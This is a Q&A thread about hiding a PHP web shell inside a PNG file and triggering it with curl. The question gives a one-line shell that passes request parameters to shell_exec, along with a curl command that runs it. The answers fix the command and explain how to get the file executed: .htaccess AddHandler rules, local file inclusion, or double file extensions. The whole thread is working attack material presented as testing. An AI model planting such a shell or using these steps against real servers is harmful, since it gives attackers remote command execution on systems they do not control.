Execute PHP inside PNG using curl

Question

I'm doing some testing on executing remote PHP via PHP hidden inside a PNG file. I've got a PNG file on my server with the following PHP code stored inside the PNG file.

<?=$_GET[0]($_POST[1]);?> 

The idea being is that I pass a GET request with shell_exec OR exec function, followed by POST data 1 = the command to run.

I have been trying to use curl without success. I keep getting HTTP/1.1 404 not found.

curl http://192.168.0.6/phppng.png?0=shell_exec' -i -d "1=id"

Any ideas what can I use to send the GET request and include the POST data?

Answer 1

First of all, make sure that your webserver knows that it has to interpret PNG file as PHP. You need to add this to your .htaccess file.

AddHandler application/x-httpd-php .png

or

AddHandler application/x-httpd-php5 .png

Otherwise, it won't execute the PHP code.

Second, there's a syntax error in your curl request. You're missing a quote.

Try this:

curl -i -X POST "http://127.0.0.1/phppng.png?0=shell_exec" -d "1=id"

Answer 2

Files ending in .png will not execute php code even if they contain php code. You can however execute this code either through a LFI or by uploading a .htaccess file which will add a php handler for .png or in the case of Apache you could use a double file extansion, ie: phppng.php.phppng.